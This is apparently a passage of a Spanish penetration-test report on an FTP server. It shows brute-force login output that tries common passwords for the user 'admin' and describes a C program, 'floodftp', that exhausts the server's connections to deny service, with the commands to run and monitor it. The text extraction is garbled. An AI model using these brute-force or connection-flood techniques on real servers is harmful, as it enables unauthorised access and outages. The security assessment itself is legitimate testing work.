:[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :i b a n e z( 2o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :p a s s w o r d( 2o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 3 1 3 1 3( 3o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :d e a d m a n( 3o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 2 3 4 5 6 7 8 9( 3o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :h e l i s t i n( 3o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :t e r r o r( 3o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :f u c k e r( 4o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :r e d b u l l( 4o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :q w e r t y( 4o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :b l i z z a r d( 4o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :r e a p e r( 4o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :m a r t i n( 5o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :j a g u a r( 5o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 2 3 4 5 6 7 8( 5o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :d o n a l d( 5o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :u n d e r t a k e r( 5o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :9 4 5 2( 6o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 1 2 3 5 8 1 3 2 1( 6o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :1 1 1 1 1 1( 6o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :j u v e n t u s( 6o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :k a w a s a k i( 6o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :p a r k e r( 7o f1 9 6c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :j a c k a s s( 7o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :a b c 1 2 3( 7o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :v i n c e n t( 7o f2 0 0c o m p l e t e ) A C C O U N TC H E C K :[ f t p ]H o s t :1 . . . 6( 1o f1 ,0c o m p l e t e )U s e r :a d m i n( 1o f1 ,0c o m p l e t e )P a s s w o r d :8 7 6 5 4 3 2 1( 7o f2 0 0c o m p l e t e )

. . .

Segnlapotencia(nmerodemquinas,potenciadecadamquina,velocidaddelaconexin...) quetengaelatacantepodrarealizaresteataqueenhoras,dias,meses... Yunaraznbsicaparapoderrealizarestoesqueesteservidorftpnocortaaquieneshagan muchosintentosfallidosdeaccesooaIPsqueintentanconexionessimultneas. Unaaccinmuycomnesusarparatodoslosserviciosinternoslamismacontrasea,sicon estemtodosellegaseasacarlacontraseadealgnusuario,muyprobablementepodramos accedernosloalservidorftpcomol,sinoaotrosserviciosdelaorganizacin...

6)Anlisisyexplotacindevulnerabilidades.(FLOODFTP) Comosepudoobservarenelapartadoanteriorelservidorftpnotienelmitedeconexionespara unamismaIP,nibloqueaIPsquehaganmuchosintentosfallidosdeconexin. Estotambinpodraservirpararealizarataquesdedenegacindeservicio,enunservidorftp sintirarabajodichoservidorunataquededenegacindeserviciopodraserelobtenertodaslas conexionesquepermitaestablecerelservidor,impidiendoquelosdemsusuariospuedan conectarse. SecreunprogramaenC,floodftp,(http://pastebin.com/mFJiPmBB)queestablece conexionesannimascontraunservidorftpynolascierra. Elprogramaseejecutara:
$ . / f l o o d f t p 1 . . . 6
E lp r o g r a m aq u e d ae j e c u t n d o s e ,l e y e n d on m e r o sei n t e n t a n d oh a c e re s en m e r od ec o n e x i o n e s c o n t r ae ls e r v i d o rf t p .

Haciendodiversaspruebasenelservidoryalavezmostrandolasconexionesestablecidas entrenuestramquinayelservidor:
$ w a t c hn1 ' n e t s t a tt u p e n|g r e pf l o o d f t p|g r e pE S T A B L I S H E D|w cl '

Secompruebaqueelservidorpermiteestablecerunmximode500conexiones. Siseestableceunaconexinelservidornolacierra. Peroestableciendolas500mximasalos35segundoselservidorcierratodas. Apartirdeloobservadoenlaspruebashechasconfloodftpsellegaalaconclusindeque estableciendocada35segundoslas500conexionesseramuycomplicadoalosdems usuariosaccederalservidordebidoaladenegacindelservicioqueestamoscreando.

Finalmentesellegaalaconclusindequeelservidoresbastanteseguro,estlo suficientementeparcheadooactualizadoparaquenotengavulnerabilidadesenlasaplicaciones quetienecorriendo. Centrndonosenlaaplicacinpropiadelservidorftpdelpuerto21,stapermitemltiples conexionesdeunamismaIPymltiplesintentosdeiniciosesinfallidos. LasmltiplesconexionesdesdeunamismaIPnospermitenpoderobteneraunmismousuario todaslasconexionesimpidiendoalosdemsconectarse. Perosisecortaestoseimpediraqueporejemploenlugaresenlosqueunconjuntode mquinassalenatravsdelamismaIP,comopuedeserlafacultad,nospudisemosconectar simultneamenteaesteservidordeinternet. Lapartedequeelservidornolmiteelnmerodeintentosdelogearsepodraconsiderarseun fallodeseguridad,perosilascontraseassonlosuficientementeseguras,seracasiimposible conherramientasdepasswordguessingremotoobtenerunacontrasea.

Potrebbero piacerti anche